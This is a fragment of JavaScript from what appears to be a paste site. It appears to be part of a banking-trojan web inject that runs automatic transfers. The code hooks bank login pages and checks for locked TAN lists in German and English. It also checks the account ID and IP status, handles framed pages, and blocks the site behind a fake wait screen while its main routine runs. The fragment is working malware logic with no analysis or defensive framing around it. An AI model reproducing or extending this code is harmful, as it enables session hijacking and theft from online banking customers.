  1777.               } else {jq('.inj_full_overlay').remove(); break;}
  1778.              
  1779.              
  1780.                default:
  1781.                
  1782.                         if (ATS.checkLoginPage())
  1783.                         {
  1784.                             ATS.debugMsg('login page');
  1785.                             ATS.setLoginHook();
  1786.                             jq('.inj_full_overlay').remove();
  1787.                             break;
  1788.                         }                          
  1789.                        
  1790.                      
  1791.                         if (ATS.isLoggedIn())
  1792.                         {
  1793.                             ATS.debugMsg('logged in!');
  1794.                            
  1795.  
  1796.                     var t =jq('ul.activeNotificationAction a').text();
  1797.                     if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
  1798.                         ATS.debugMsg('TAN locked!');
  1799.                         ATS.die("TAN locked!");
  1800.                         jq('.inj_full_overlay').remove();
  1801.                         break;
  1802.                     }
  1803.                          
  1804.                            
  1805.                        
  1806.                             if ((parent.document !== document) && parent.ATS)
  1807.                             {
  1808.                                 ATS.debugMsg('we are in frame!');
  1809.                                 ATS.frameWork();
  1810.                                 jq('.inj_full_overlay').remove();
  1811.                                 break;
  1812.                             }
  1813.                             else
  1814.                             {
  1815.    if (!!jq('div[role="dialog"]:visible').length) jq('div[role="dialog"]').find('span:contains(close)').click();
  1816.  
  1817.  
  1818.                                 jq('.inj_full_overlay').remove();
  1819.                                 ATS.UI_blockSite();
  1820.                                 ATS.UI_showWait();
  1821.                                 ATS.mainWork();
  1822.                                 break;
  1823.                             }
  1824.                         }
  1825.                         else
  1826.                         {
  1827.                             if ((parent.document !== document) && parent.ATS)
  1828.                             {
  1829.                                 ATS.debugMsg('we are in frame and not logged in!');
  1830.                             }
  1831.                         }              
  1832.                
  1833.                
  1834.                     break;
  1835.             }
  1836.          
  1837.            
  1838.  
  1839.         }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
  1840.        
  1841.        
  1842.         if(!ATS.isLoggedIn()) {jq('.inj_full_overlay').remove();
  1843.         ATS.debugMsg('!ATS.isLoggedIn()');}
  1844.     });
  1845.      
  1846.        
  1847.  
  1848.        
  1849.  
  1850.     });
  1851. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement